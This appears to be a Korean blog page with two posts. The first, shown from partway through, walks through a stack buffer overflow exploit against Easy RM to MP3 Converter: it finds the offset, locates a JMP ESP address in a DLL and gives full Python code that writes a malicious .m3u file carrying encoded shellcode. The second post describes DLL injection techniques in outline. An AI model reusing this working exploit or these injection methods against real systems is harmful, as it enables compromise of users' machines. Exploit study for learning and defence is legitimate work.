./pattern_offset.rb 6a42366a(eip값) 5000(패턴 크기) (*여기서 위의 eip와 밑의 그림의 eip값이 다른 이유는 테스트한 환경이 달라져서 그런다. 원래 테스트한 그림이 사라져 kisec에서 번역한 문서에서 그림을 따왔다.)

offset값이 1069라고 뜬다. 즉, 25000 + 1069 = 26069 의 크기만큼 RET와 떨어져 있다는 뜻이다. 그렇다면 우린 26069크기 만큼의 아무 값이나 입력하고 그 후에 입력한 값이 RET가 되고 다음에 입력한 값이 esp가 가리키는 값들이 될 겉이다.

따라서 우리가 구성해야 할 공격 페이로드는 [26069크기의 A][RET][Shell code] 이렇게 구성된다. 이 때, RET의 값은 esp의 값에 되어야 하므로, esp값을 확인하기 위해 파일 내용을 [A*26069 + AAAA + C*1000]구성해서 확인해 보면 다음과 같다.


esp값은 ff730이므로 eip의 값을 ff730으로 하고, esp의 값에 셸코드를 올린다면, 우리가 원하는 대로 프로그램의 흐름을 잡을 수 있다. 다음과 같이 코드를 짜자.

import struct
f = open("crash.m3u","w");
foo = "A"*26069;
exploit=struct.pack('<I',0x000ff730);
foo2 = "\x90"*25 + "\xCC" + "\x90"*20;
f.write(foo+exploit+foo2);
print("write sucess!! ");
f.close();

다음, 만들어진 파일을 easy RM~에 로드 시키면 우리가 원하던 결과와 다른 화면이 뜬다. 우리가 원했던 결과는 'CC'(Break명령어)로 인해 프로그램이 break되는 것을 원했는데, 화면에선 "\xCC"는 커녕 NOP도 확인이 불가능하다.

왜 이런 것일까? 그 이유는 eip주소 값에 NULL 문자가 존재하기 때문이다.주소 값이 저장될 땐 little endian으로 저장되고 0x000ff730은 little endian으로 나타내면 30 f7 0f 00 이 되는데, 이 때, 마지막 부분이 NULL문자로 인식 되어서 우리가 프로그래밍 할 때, exploit + foo2 부분에서 foo2는 전혀 입력되지 않아 발생하는 문제이다. 따라서 우린 다른 공격방법을 찾아야 한다. 프로그램에선 하나 이상의 dll을 로드시키기 때문에 dll에서 JMP esp 하는 명령어 주소 부분을 찾아 (NULL문자가 존재하지 않는 주소 값으로) 이 부분으로 eip값으로 이용한다면, 우리가 원하는 결과를 얻을 수 있을 것이다. 그렇다면 일단 프로그램을 정상적으로 실행 했을 때, 어떤 dll들이 로딩되어 있는지 확인하고 그 dll들을 확인해 JMP esp의 명령을 가지는 부분을 찾아보는 것이 과제가 될 것이다. 다음은 로딩된 dll들이다.

여기서 우리가 확인해야 할 dll은 Easy RM to MP3 Converter에서 로딩되는 dll들을 확인하는 것이다. 왜냐하면, system32에서 로딩되는 dll들은 OS마다 로딩되는 주소가 각각 달라져 운영체제에 종속적인 exploit코드가 되기 때문이다. 여기서 제일 맘에 드는 MSRMCcodec02.dll부분을 살펴보자. [S 시작주소 L 마지막주소 옵코드] 명령을 windbg에 주면 검색한 옵코드를 가지는 부분을 확인 할 수 있다. JMP esp의 옵코드는 ff e4이다.

위의 화면에서 마음에 NULL문자가 없고 마음에 드는 부분을 확인해 보자. 필자는 1df023f부분을 확인해 보겠다. U 1df023f를 누르면 이 부분의 어셈블리 코드가 확인 가능하다.

Jmp esp가 되어있는 것을 확인 할 수 있다. 그렇다면 이 부분을 eip로 하고 esp부분에 셸코드를 띄우면 공격 성공이다.

다음과 같이 코드를 입력한다.

import struct

f = open("crash.m3u","w");
foo = "A"*26069;
exploit=struct.pack('<I',0x01df023f);
foo2 = "\x90"*25 + "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" + "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" + "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" + "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" + "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" + "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" + "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" + "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" + "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" + "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" + "\x7f\xe8\x7b\xca";

f.write(foo+exploit+foo2);
print("write sucess!! ");
f.close();

이 셸코드는 계산기를 띄우는 코드이고, 실행 시키면 다음과 같이 계산기가 뜨는 것을 볼 수 있다.

 

끄읕.

'Exploit' 카테고리의 다른 글

C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
SEH overwriting  (0) 2014.07.10
간단한 Shellcode 만들기  (0) 2014.05.05
FSB공격 정리  (0) 2014.05.04
Posted by flack3r
|

DLL Injection

Reversing 2014. 5. 17. 14:13

1 개요

DLL인젝션하는 방법들을 간단히 개념적으로만 알아볼 예정이다. 다음에 많은 사람들이 인젝션 연습으로 많이 하는 '지뢰 찾기' 패치 등을 하면서 실습을 할 예정이다.

 

2 dll 인젝션

일단, DLL인젝션을 하는 방법들을 알아보자.

1. SetWindowsHookEx() 를 이용한 윈도우 메시지 후킹.

이 방식은 API후킹과 함께 대표적인 후킹방법 이기도 하다.
윈도우는 GUI방식을 제공하고, GUI방식으로 동작할 때, 키보드의 입력이나 마우스의 입력 등은 메시지방식(Event Driven)으로 처리된다. 이 때, 메시지를 잠시 보관하는 버퍼가 OS에도 존재하고, 어플리케이션 계층영역에서도 존재하게 되는데, SetWindowsHookEx()를 하면, 이 사이에서 메시지를 가로챌수 있다. 또 한 이 함수는 한번 적용해 훅을 설치하면 어떤 프로세스에서 해당 메시지가 발생했을 때 운영체제가 DLL을 강제로 인젝션 하고 hook procedure를 호출한다. 제일 편하고, 간단하긴 한데 아예 메시지 호출이 안되도록 하진 못해서 한계가 있다.

2. CreateRemoteThread() 함수를 통한 DLL Injection

이 방법도 DLL Injection을 한번이라도 공부 해 보았다면 알고 있을법한 API이다. 이 방법의 핵심은 상대 프로세스로 하여금, LoadLibrary()를 호출하게 만들어 DLL을 로딩시키는 것이다.

보통 OpenProcess로 DLL Injection을 수행할 프로세스의 핸들을 얻고, VirtualAllocEX함수와 WriteProcessMemory함수로 LoadLibrary의 인자에 해당하는 DLL의 경로를 쓴다. 그 다음 GetModuleHandle과 GetProcAddress로 LoadLibrary()의 주소 값을 얻은 다음 CreateRemoteThread()함수를 통해 목표 프로세스가 LoadLibrary함수를 호출하도록 한다.

3. Applnit_DLLs

레지스트리를 이용하는 방법이다. \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows 에서 Applint_DLLs의 값을 인젝션을 원하는 DLL경로 문자열을 쓰고 LoadApplint_DLLs 값을 1로 변경한 후 재부팅하면 실행되는 모든 프로세스에 해당 DLL이 인젝션 된다.

4. PE패치를 통한 인젝션

이 방법은 PE에서 IDT에 인젝션 하고자 하는 DLL을 추가시킴으로써 인젝션 하는 방법이다.

'Reversing' 카테고리의 다른 글

지뢰 찾기 핵  (1) 2014.07.29
치트엔진을 활용한 환세취호전 핵  (2) 2014.07.28
PEB를 활용한 안티디버깅  (0) 2014.05.16
WinDbg, xp 연동  (0) 2014.05.16
SEH를 이용한 안티디버깅  (1) 2014.05.15
Posted by flack3r
|